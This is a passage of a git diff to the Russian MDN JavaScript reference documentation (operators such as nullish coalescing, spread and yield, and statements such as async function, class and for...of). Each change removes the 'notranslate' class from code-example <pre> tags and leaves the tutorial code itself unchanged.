00000000000000000000000000001001 (base 2) 14 (base 10) = 00000000000000000000000000001110 (base 2) -------------------------------- 14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) @@ -78,7 +78,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND <h3 id="Использование_побитового_И">Использование побитового И</h3> -<pre class="brush: js notranslate">// 5: 00000000000000000000000000000101 +<pre class="brush: js">// 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 5 & 2; // 0</pre> diff --git a/files/ru/web/javascript/reference/operators/class/index.html b/files/ru/web/javascript/reference/operators/class/index.html index c7efce0be6..4fa06e092f 100644 --- a/files/ru/web/javascript/reference/operators/class/index.html +++ b/files/ru/web/javascript/reference/operators/class/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Operators/class <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var MyClass = class <em>[className]</em> [extends] { +<pre class="syntaxbox">var MyClass = class <em>[className]</em> [extends] { // тело класса };</pre> @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Operators/class <p>Так же, как и при использовании class declaration, тело класса у class expression будет исполняться в {{jsxref("Strict_mode", "строгом режиме", "", 1)}}.</p> -<pre class="brush: js notranslate">'use strict'; +<pre class="brush: js">'use strict'; var Foo = class {}; // свойство конструктора опционально var Foo = class {}; // повторное объявление разрешено @@ -39,7 +39,7 @@ class Foo {}; // Throws TypeError, doesn't allow re-declaration <p>Простой анонимный class expression, на который можно сослаться с помощью переменной "Foo".</p> -<pre class="brush: js notranslate">var Foo = class { +<pre class="brush: js">var Foo = class { constructor() {} bar() { return "Hello World!"; @@ -55,7 +55,7 @@ Foo.name; // "Foo" <p>Если вы хотите сослаться на конкретный класс внутри тела класса, вы можете создать именованный class expression. Это имя будет доступно только внутри области видимости самого class expression.</p> -<pre class="brush: js notranslate">var Foo = class NamedFoo { +<pre class="brush: js">var Foo = class NamedFoo { constructor() {} whoIsThere() { return NamedFoo.name; diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html index a95e4faac7..259cd5122e 100644 --- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html +++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>условие</em> ? <em>выражение1</em> : <em>выражение2 </em></pre> +<pre class="syntaxbox"><em>условие</em> ? <em>выражение1</em> : <em>выражение2 </em></pre> <h3 id="Параметры">Параметры</h3> @@ -31,16 +31,16 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт <p>Оператор возвращает значение <code>выражения1</code>, если <code>условие</code> верно, и значение <code>выражения2</code> в противном случае. Например, чтобы вывести сообщение, текст которого зависит от значения переменной <code>isMember</code>, можно использовать такое выражение:</p> -<pre class="brush: js notranslate">"The fee is " + (isMember ? "$2.00" : "$10.00") +<pre class="brush: js">"The fee is " + (isMember ? "$2.00" : "$10.00") </pre> <p>Также можно присваивать значения переменным на основе результатов работы тернарного оператора :</p> -<pre class="brush: js notranslate">var elvisLives = Math.PI > 4 ? "Да" : "Нет";</pre> +<pre class="brush: js">var elvisLives = Math.PI > 4 ? "Да" : "Нет";</pre> <p>Возможны множественные тернарные операции (обратите внимание: условный оператор ассоциативен справа):</p> -<pre class="brush: js notranslate">var firstCheck = false, +<pre class="brush: js">var firstCheck = false, secondCheck = false, access = firstCheck ? "Доступ запрещён" : secondCheck ? "Доступ запрещён" : "Доступ разрешён"; @@ -48,14 +48,14 @@ console.log( access ); // выводит в консоль "Доступ раз <p>Тернарные операции можно использовать и сами по себе - для выполнения различных операций:</p> -<pre class="brush: js notranslate">var stop = false, age = 16; +<pre class="brush: js">var stop = false, age = 16; age > 18 ? location.assign("continue.html") : stop = true; </pre> <p>Также возможно выполнять несколько операций на каждое сравнение, разделив их запятыми:</p> -<pre class="brush: js notranslate">var stop = false, age = 23; +<pre class="brush: js">var stop = false, age = 23; age > 18 ? ( alert("Хорошо, вы можете продолжить."), @@ -68,7 +68,7 @@ age > 18 ? ( <p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделённых запятой</strong></em>.</p> -<pre class="brush: js notranslate">var age = 16; +<pre class="brush: js">var age = 16; var url = age > 18 ? ( alert("Хорошо, вы можете продолжить."), diff --git a/files/ru/web/javascript/reference/operators/decrement/index.html b/files/ru/web/javascript/reference/operators/decrement/index.html index 722d4a5889..64d29374a3 100644 --- a/files/ru/web/javascript/reference/operators/decrement/index.html +++ b/files/ru/web/javascript/reference/operators/decrement/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Operators/Decrement <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var>-- or --<var>x</var> +<pre class="syntaxbox"><strong>Operator:</strong> <var>x</var>-- or --<var>x</var> </pre> <h2 id="Описание">Описание</h2> @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Operators/Decrement <h3 id="Постфиксный_декремент">Постфиксный декремент</h3> -<pre class="brush: js notranslate">let x = 3; +<pre class="brush: js">let x = 3; y = x--; // y = 3 @@ -40,7 +40,7 @@ y = x--; <h3 id="Префиксный_декремент">Префиксный декремент</h3> -<pre class="brush: js notranslate">let a = 2; +<pre class="brush: js">let a = 2; b = --a; // a = 1 diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html index f31321b93a..a6bfca160a 100644 --- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html +++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>leftExpr</var> ?? <var>rightExpr</var> +<pre class="syntaxbox"><var>leftExpr</var> ?? <var>rightExpr</var> </pre> <h2 id="Примеры">Примеры</h2> @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator <p>В этом примере показано как устанавливать значения по умолчанию, оставив в покое значения отличные от <code>null</code> или <code>undefined</code>.</p> -<pre class="brush: js notranslate">const nullValue = null; +<pre class="brush: js">const nullValue = null; const emptyText = ""; // falsy const someNumber = 42; @@ -41,14 +41,14 @@ console.log(valC); // 42</pre> <p>Ранее, для присваивания значения по умолчанию переменной использовался оператор логического ИЛИ (<code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">||</a></code>):</p> -<pre class="brush: js notranslate">let foo; +<pre class="brush: js">let foo; // переменной foo никогда не присваивалось значение, поэтому она undefined let someDummyText = foo || 'Hello!';</pre> <p>Однако, оператор <code>||</code> это логический оператор, левый операнд которого при сравнении неявно приводится к булевому значению, поэтому любое <em>ложное</em> значение (<code>0</code>, <code>''</code>, <code>NaN</code>, <code>null</code>, <code>undefined</code>) не возвращается. Данное поведение может быть нежелательным если вы рассматриваете <code>0</code>, <code>''</code>, или <code>NaN</code> как корректные значения.</p> -<pre class="brush: js notranslate">let count = 0; +<pre class="brush: js">let count = 0; let text = ""; let qty = count || 42; @@ -59,7 +59,7 @@ console.log(message); // "hi!" and not "" <p>Оператор нулевого слияния предотвращает попадание в такую ловушку, возвращая второй операнд если первый оказывается <code>null</code> or <code>undefined</code> (но не любым другим <em>ложным</em> значением):</p> -<pre class="brush: js notranslate">let myText = ''; // Пустая строка (тоже является ложным значением при приведении к логическому типу) +<pre class="brush: js">let myText = ''; // Пустая строка (тоже является ложным значением при приведении к логическому типу) let notFalsyText = myText || 'Hello world'; console.log(notFalsyText); // Hello world @@ -72,7 +72,7 @@ console.log(preservingFalsy); // '' (так как myText не undefined и не <p>Так же как при использовании логического И и ИЛИ, правое выражение не вычисляется если найдено подходящее значение в левом.</p> -<pre class="brush: js notranslate">function A() { console.log('A was called'); return undefined;} +<pre class="brush: js">function A() { console.log('A was called'); return undefined;} function B() { console.log('B was called'); return false;} function C() { console.log('C was called'); return "foo";} @@ -90,19 +90,19 @@ console.log( B() ?? C() ); <p>Нельзя напрямую объединять И (<code>&&</code>) и ИЛИ (<code>||</code>) операторы с <code>??</code>. При таком выражении будет выброшен <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>.</p> -<pre class="brush: js example-bad notranslate">null || undefined ?? "foo"; // выбрасывает SyntaxError +<pre class="brush: js example-bad">null || undefined ?? "foo"; // выбрасывает SyntaxError true || undefined ?? "foo"; // выбрасывает SyntaxError</pre> <p>Однако, при заключении в скобки выражение является корректным:</p> -<pre class="brush: js example-good notranslate">(null || undefined) ?? "foo"; // returns "foo" +<pre class="brush: js example-good">(null || undefined) ?? "foo"; // returns "foo" </pre> <h3 id="Отношение_к_оператору_опциональной_последовательности_.">Отношение к оператору опциональной последовательности (<code>?.</code>)</h3> <p>Оператор нулевого слияния определяет <code>undefined</code> и <code>null</code> как специальные значения так же как и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Optional_chaining">оператор опциональной последовательности (<code>?.</code>)</a>, который используется для доступа к свойствам объекта, значение которого может быть <code>null</code> или <code>undefined</code>.</p> -<pre class="brush: js notranslate">let foo = { someFooProp: "hi" }; +<pre class="brush: js">let foo = { someFooProp: "hi" }; console.log(foo.someFooProp?.toUpperCase()); // "HI" console.log(foo.someBarProp?.toUpperCase()); // undefined diff --git a/files/ru/web/javascript/reference/operators/operator_precedence/index.html b/files/ru/web/javascript/reference/operators/operator_precedence/index.html index 81ac025747..2de7b65912 100644 --- a/files/ru/web/javascript/reference/operators/operator_precedence/index.html +++ b/files/ru/web/javascript/reference/operators/operator_precedence/index.html @@ -20,19 +20,19 @@ translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence <p>Ассоциативность определяет порядок, в котором обрабатываются операторы с одинаковым приоритетом. Например, рассмотрим выражение:</p> -<pre class="syntaxbox notranslate">a OP b OP c +<pre class="syntaxbox">a OP b OP c </pre> <p>Левая ассоциативность (слева направо) означает, что оно обрабатывается как <code>(a OP b) OP c</code>, в то время как правая ассоциативность (справа налево) означает, что они интерпретируются как <code>a OP (b OP c)</code>. Операторы присваивания являются право-ассоциативными, так что вы можете написать:</p> -<pre class="brush: js notranslate">a = b = 5; +<pre class="brush: js">a = b = 5; </pre> <p>с ожидаемым результатом, что <code>a</code> и <code>b</code> будут равны 5. Это происходит, потому что оператор присваивания возвращает тот результат, который присваивает. Сначала <code>b</code> становится равным 5, затем <code>a</code> принимает значение <code>b</code>.</p> <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate"><code>3 > 2 && 2 > 1 +<pre class="brush: js"><code>3 > 2 && 2 > 1 // вернёт true 3 > 2 > 1 diff --git a/files/ru/web/javascript/reference/operators/property_accessors/index.html b/files/ru/web/javascript/reference/operators/property_accessors/index.html index 938833a348..005cef9b49 100644 --- a/files/ru/web/javascript/reference/operators/property_accessors/index.html +++ b/files/ru/web/javascript/reference/operators/property_accessors/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Operators/Property_Accessors <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">object.property +<pre class="syntaxbox">object.property object["property"] </pre> @@ -27,12 +27,12 @@ object["property"] <p class="brush: js">В записи <code>object.property</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">property</span></font> должно быть действительным <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Identifier">идентификатором</a>. (В стандарте ECMAScript, имена свойств технически называются "IdentifierNames", а не "Identifiers", поэтому зарезервированные слова могут быть использованы в их качестве, но это не рекомендуется). Например, <code>object.$1</code> является верной записью, а <code>object.1</code> - нет.</p> -<pre class="brush: js notranslate">const variable = <var>object</var>.<var>property_name;</var> +<pre class="brush: js">const variable = <var>object</var>.<var>property_name;</var> <var>object</var>.<var>property_name</var> = value; </pre> -<pre class="brush: js notranslate">const object = {}; +<pre class="brush: js">const object = {}; object.$1 = 'foo'; console.log(object.$1); // 'foo' @@ -42,11 +42,11 @@ console.log(object.1); // SyntaxError</pre> <p>Здесь метод с именем <code>createElement</code> считывается с объекта <code>document</code> и вызывается.</p> -<pre class="brush: js notranslate">document.createElement('pre')</pre> +<pre class="brush: js">document.createElement('pre')</pre> <p>Если вы хотите вызвать метод на численном литерале, не имеющий части с экспонентой или точки, отделяющей дробную часть, нужно ставить пробел перед точкой, являющейся частью обращения к этому методу, чтобы интерпретатор не посчитал, что это точка отделяет дробную часть числа (или использовать другие способы этого избежать).</p> -<pre class="brush: js notranslate">// SyntaxError, здесь считается, что 77. это число, +<pre class="brush: js">// SyntaxError, здесь считается, что 77. это число, // поэтому такая запись эквивалентна (77.)toExponentional() // что является ошибкой 77.toExponentional() @@ -65,29 +65,29 @@ console.log(object.1); // SyntaxError</pre> <p class="brush: js">В записи <code>object[property_name]</code>, <em><code>property_name</code> - </em>это выражение, вычисляющееся в строку или <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">символ</a>. Это может быть любая строка, не обязательно действительный идентификатор, например <code>'1foo'</code>, '<code>!bar!'</code> или даже <code>' '</code> (пробел).</p> -<pre class="brush: js notranslate">const variable = object[property_name] +<pre class="brush: js">const variable = object[property_name] object[property_name] = value</pre> <p>Пример, аналогичный примеру в предыдущем пункте:</p> -<pre class="brush: js notranslate">document['createElement']('pre'); +<pre class="brush: js">document['createElement']('pre'); </pre> <p>Пробел перед скобкой допускается:</p> -<pre class="brush: js notranslate">document ['createElement']('pre')</pre> +<pre class="brush: js">document ['createElement']('pre')</pre> <h3 id="Имена_свойств">Имена свойств</h3> <p>Имена свойств могут быть строками или <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">символами</a>. Любое другое значение приводится к строке. Следующий код выводит <code>'value'</code>, поскольку число <code>1</code> приводится к строке <code>'1'</code>.</p> -<pre class="brush: js notranslate">const object = {} +<pre class="brush: js">const object = {} object['1'] = 'value' console.log(object[1])</pre> <p>Этот пример также выводит <code>'value',</code> так как и <code>foo</code>, и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">bar</span></font> приводятся к одной и той же строке.</p> -<pre class="brush: js notranslate">const foo = {unique_prop: 1} +<pre class="brush: js">const foo = {unique_prop: 1} const bar = {unique_prop: 2} const object = {} @@ -109,12 +109,12 @@ console.log(object[bar]); <p>Например, следующий синтаксис можно часто увидеть в скриптах.</p> -<pre class="brush: js notranslate">x = eval('document.forms.form_name.elements.' + strFormControl + '.value'); +<pre class="brush: js">x = eval('document.forms.form_name.elements.' + strFormControl + '.value'); </pre> <p>Функция <code>eval()</code> очень медленная и её использования следует избегать, когда это возможно. Кроме того, строка <code>strFormControl</code> при таком использовании обязаны содержать действительный идентификатор, что не является обязательным для <code>id</code> полей формы, то есть, например, поле с id <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">1</span></font> не получится получить такой записью. Лучше вместо этого использовать скобочную запись:</p> -<pre class="brush: js notranslate">x = document.forms["form_name"].elements[strFormControl].value; +<pre class="brush: js">x = document.forms["form_name"].elements[strFormControl].value; </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html index 1019bdd757..5eb3e561d9 100644 --- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html +++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html @@ -21,16 +21,16 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax <p>Для вызовов функций:</p> -<pre class="syntaxbox notranslate">myFunction(...iterableObj); +<pre class="syntaxbox">myFunction(...iterableObj); </pre> <p>Для литералов массива или строк:</p> -<pre class="syntaxbox notranslate">[...iterableObj, '4', 'five', 6];</pre> +<pre class="syntaxbox">[...iterableObj, '4', 'five', 6];</pre> <p>Для литералов объекта (новое в ECMAScript 2018):</p> -<pre class="syntaxbox notranslate">let objClone = { ...obj };</pre> +<pre class="syntaxbox">let objClone = { ...obj };</pre> <h2 id="Примеры">Примеры</h2> @@ -40,19 +40,19 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax <p>Обычно используют {{jsxref( "Function.prototype.apply")}} в случаях, когда хотят использовать элементы массива в качестве аргументов функции.</p> -<pre class="brush: js notranslate">function myFunction(x, y, z) { } +<pre class="brush: js">function myFunction(x, y, z) { } var args = [0, 1, 2]; myFunction.apply(null, args);</pre> <p>С <strong>spread syntax</strong> вышеприведённое можно записать как:</p> -<pre class="brush: js notranslate">function myFunction(x, y, z) { } +<pre class="brush: js">function myFunction(x, y, z) { } var args = [0, 1, 2]; myFunction(...args);</pre> <p>Любой аргумент в списке аргументов может использовать <strong>spread syntax</strong>, и его можно использовать несколько раз.</p> -<pre class="brush: js notranslate">function myFunction(v, w, x, y, z) { } +<pre class="brush: js">function myFunction(v, w, x, y, z) { } var args = [0, 1]; myFunction(-1, ...args, 2, ...[3]);</pre> @@ -60,13 +60,13 @@ myFunction(-1, ...args, 2, ...[3]);</pre> <p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с лёгкостью использован со словом <code>new:</code></p> -<pre class="brush: js notranslate">var dateFields = [1970, 0, 1]; // 1 Jan 1970 +<pre class="brush: js">var dateFields = [1970, 0, 1]; // 1 Jan 1970 var d = new Date(...dateFields); </pre> <p>Чтобы использовать <code>new</code> с массивом параметров без spread syntax, вам потребуется использование частичного применения:</p> -<pre class="brush: js notranslate">function applyAndNew(constructor, args) { +<pre class="brush: js">function applyAndNew(constructor, args) { function partial () { return constructor.apply(this, args); }; @@ -98,7 +98,7 @@ console.log(new myConstructorWithArguments); <p>Без spread syntax, применение синтаксиса литерала массива для создания нового массива на основе существующего недостаточно и требуется императивный код вместо комбинации методов <code>push</code>, <code>splice</code>, <code>concat</code> и т.д. С spread syntax реализация становится гораздо более лаконичной:</p> -<pre class="brush: js notranslate">var parts = ['shoulders', 'knees']; +<pre class="brush: js">var parts = ['shoulders', 'knees']; var lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] </pre> @@ -107,7 +107,7 @@ var lyrics = ['head', ...parts, 'and', 'toes']; <h4 id="Копирование_массива">Копирование массива</h4> -<pre class="brush: js notranslate">var arr = [1, 2, 3]; +<pre class="brush: js">var arr = [1, 2, 3]; var arr2 = [...arr]; // like arr.slice() arr2.push(4); @@ -117,7 +117,7 @@ arr2.push(4); <p><strong>Примечание:</strong> Spread syntax на самом деле переходит лишь на один уровень глубже при копировании массива. Таким образом, он может не подходить для копирования многоразмерных массивов, как показывает следующий пример: (также как и c {{jsxref("Object.assign()")}}) и синтаксис spred </p> -<pre class="brush: js notranslate">const a = [[1], [2], [3]]; +<pre class="brush: js">const a = [[1], [2], [3]]; const b = [...a]; b.shift().shift(); // 1 // О нет. Теперь на массив "а" относятся также: а @@ -128,28 +128,28 @@ b.shift().shift(); // 1 <p>Для конкатенации массива часто используется {{jsxref("Array.concat")}}:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; // Append all items from arr2 onto arr1 arr1 = arr1.concat(arr2);</pre> <p>С использованием spread syntax:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; arr1 = [...arr1, ...arr2]; </pre> <p>{{jsxref("Array.unshift")}} часто используется для вставки массива значений в начало существующего массива. Без spread syntax:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; // Prepend all items from arr2 onto arr1 Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre> <p>С использованием spread syntax [Следует отметить, что такой способ создаёт новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] </pre> @@ -160,7 +160,7 @@ arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] <p>Поверхностное копирование (без прототипа) или объединение объектов теперь возможно с использованием более короткого, чем {{jsxref("Object.assign()")}}, синтаксиса.</p> -<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 }; +<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 }; var obj2 = { foo: 'baz', y: 13 }; var clonedObj = { ...obj1 }; @@ -173,7 +173,7 @@ var mergedObj = { ...obj1, ...obj2 }; <p>Обратите внимание, что вы не можете заменить или имитировать функцию {{jsxref("Object.assign()")}}:</p> -<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 }; +<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 }; var obj2 = { foo: 'baz', y: 13 }; const merge = ( ...objects ) => ( { ...objects } ); @@ -189,7 +189,7 @@ var mergedObj = merge ( {}, obj1, obj2); <p>Spread syntax ( кроме случаев spread properties) может быть применён только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p> -<pre class="brush: js notranslate">var obj = {'key1': 'value1'}; +<pre class="brush: js">var obj = {'key1': 'value1'}; var array = [...obj]; // TypeError: obj is not iterable </pre> diff --git a/files/ru/web/javascript/reference/operators/yield/index.html b/files/ru/web/javascript/reference/operators/yield/index.html index d30b1bbce5..34f3245f4d 100644 --- a/files/ru/web/javascript/reference/operators/yield/index.html +++ b/files/ru/web/javascript/reference/operators/yield/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox language-html notranslate"> [<em>rv</em>] = <strong>yield</strong> [[выражение]];</pre> +<pre class="syntaxbox language-html"> [<em>rv</em>] = <strong>yield</strong> [[выражение]];</pre> <dl> <dt><code>выражение</code></dt> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield <p>Следующий фрагмент кода содержит определение функции-генератора и вспомогательной функции:</p> -<pre class="brush: js notranslate">function* foo(){ +<pre class="brush: js">function* foo(){ var index = 0; while(index <= 2) // при достижении 2, done в yield станет true, а value undefined; yield index++; @@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield <p>После того как тело функции-генератора определено, оно может использоваться для получения итератора:</p> -<pre class="brush: js notranslate">var iterator = foo(); +<pre class="brush: js">var iterator = foo(); console.log(iterator.next()); // { value:0, done:false } console.log(iterator.next()); // { value:1, done:false } console.log(iterator.next()); // { value:2, done:false } diff --git a/files/ru/web/javascript/reference/operators/yield_star_/index.html b/files/ru/web/javascript/reference/operators/yield_star_/index.html index 003e027d0e..1b1da5bd17 100644 --- a/files/ru/web/javascript/reference/operators/yield_star_/index.html +++ b/files/ru/web/javascript/reference/operators/yield_star_/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield* <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"> yield* [[expression]];</pre> +<pre class="syntaxbox"> yield* [[expression]];</pre> <dl> <dt><code>expression</code></dt> @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield* <p>В следующем примере, значения полученные из <code>g1()</code> возвращаются из <code>g2</code> вызовами <code>next</code>, как будто бы она вычислила их сама.</p> -<pre class="brush: js notranslate">function* g1() { +<pre class="brush: js">function* g1() { yield 2; yield 3; yield 4; @@ -54,7 +54,7 @@ console.log(iterator.next()); // { value: undefined, done: true } <p>Помимо объектов генераторов, <code>yield*</code> может перебирать другие виды итерируемых объектов, т.е. массивы, строки, объекты аргументов и др.</p> -<pre class="brush: js notranslate">function* g3() { +<pre class="brush: js">function* g3() { yield* [1, 2]; yield* "34"; yield* Array.from(arguments); @@ -106,7 +106,7 @@ class PowersOfTwo { <p><code>yield*</code> - это выражение, а не оператор, поэтому оно имеет значение, равное последнему значению итератора </p> -<pre class="brush: js notranslate">function* g4() { +<pre class="brush: js">function* g4() { yield* [1, 2, 3]; return "foo"; } @@ -162,7 +162,7 @@ console.log(result); // "foo" <li>Начиная с Gecko 33 {{geckoRelease(33)}}, разбор выражений yield было приведено к соответствию с последними спецификациями ES6 ({{bug(981599)}}): <ul> <li>Реализована корректная обработка разрыва строки. Разрыва строки между "yield" и "*" быть не может. Такой код вызовет {{jsxref("SyntaxError")}}: - <pre class="brush: js notranslate">function* foo() { + <pre class="brush: js">function* foo() { yield *[]; }</pre> diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html index 7e07f940cf..d46b1039e3 100644 --- a/files/ru/web/javascript/reference/statements/async_function/index.html +++ b/files/ru/web/javascript/reference/statements/async_function/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Statements/async_function <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { +<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { <em>statements</em> } </pre> @@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Statements/async_function <h3 id="Простой_пример">Простой пример</h3> -<pre class="brush: js notranslate">function resolveAfter2Seconds(x) { +<pre class="brush: js">function resolveAfter2Seconds(x) { return new Promise(resolve => { setTimeout(() => { resolve(x); @@ -86,7 +86,7 @@ add2(10).then(v => { <h3 id="Когда_функция_async_выбрасывает_исключение">Когда функция <code>async </code>выбрасывает исключение</h3> -<pre class="brush: js notranslate">async function throwsValue() { +<pre class="brush: js">async function throwsValue() { throw new Error('oops'); } throwsValue() @@ -112,7 +112,7 @@ throwsValue() <p>API, которое возвращает {{jsxref("Promise")}}, будет возвращать значение в цепочке, тем самым разбивая функцию на много частей. Рассматривая следующий код:</p> -<pre class="brush: js notranslate">function getProcessedData(url) { +<pre class="brush: js">function getProcessedData(url) { return downloadData(url) // returns a promise .catch(e => { return downloadFallbackData(url) // returns a promise @@ -125,7 +125,7 @@ throwsValue() <p>он может быть переписан с одним использованием функции <code>async</code>:</p> -<pre class="brush: js notranslate">async function getProcessedData(url) { +<pre class="brush: js">async function getProcessedData(url) { let v; try { v = await downloadData(url); diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html index f2caebe0fe..e0c1dbd9f2 100644 --- a/files/ru/web/javascript/reference/statements/class/index.html +++ b/files/ru/web/javascript/reference/statements/class/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Statements/class <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">class <em>name</em> [extends] { +<pre class="brush: js">class <em>name</em> [extends] { // тело класса } </pre> @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Statements/class <p>В следующем примере сначала определяется класс с именем Polygon, затем он наследуется для создания класса Square. Заметьте, что super(), используемый в конструкторе, может быть использован только в конструкторе и должен быть вызван до того, как будет использовано ключевое слово this.</p> -<pre class="brush: js notranslate">class Polygon { +<pre class="brush: js">class Polygon { constructor(height, width) { this.name = 'Polygon'; this.height = height; @@ -50,13 +50,13 @@ class Square extends Polygon { <p>Переопределение класса с помощью class declaration вызовет ошибку типа.</p> -<pre class="brush: js notranslate">class Foo {}; +<pre class="brush: js">class Foo {}; class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared </pre> <p>Та же ошибка будет вызвана, если класс был определён перед использованием class declaration.</p> -<pre class="brush: js notranslate">var Foo = class {}; +<pre class="brush: js">var Foo = class {}; class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared </pre> diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html index 5d056de8c4..7641d14bad 100644 --- a/files/ru/web/javascript/reference/statements/for...of/index.html +++ b/files/ru/web/javascript/reference/statements/for...of/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...of <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">for (<em>variable</em> of <em>iterable</em>) { +<pre class="syntaxbox">for (<em>variable</em> of <em>iterable</em>) { <em>statement</em> } </pre> @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...of <h3 id="Обход_jsxrefArray">Обход {{jsxref("Array")}}</h3> -<pre class="notranslate"><code>let iterable = [10, 20, 30]; +<pre><code>let iterable = [10, 20, 30]; for (let value of iterable) { value += 1; @@ -44,7 +44,7 @@ for (let value of iterable) { <p>Можно также использовать <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a> вместо <a 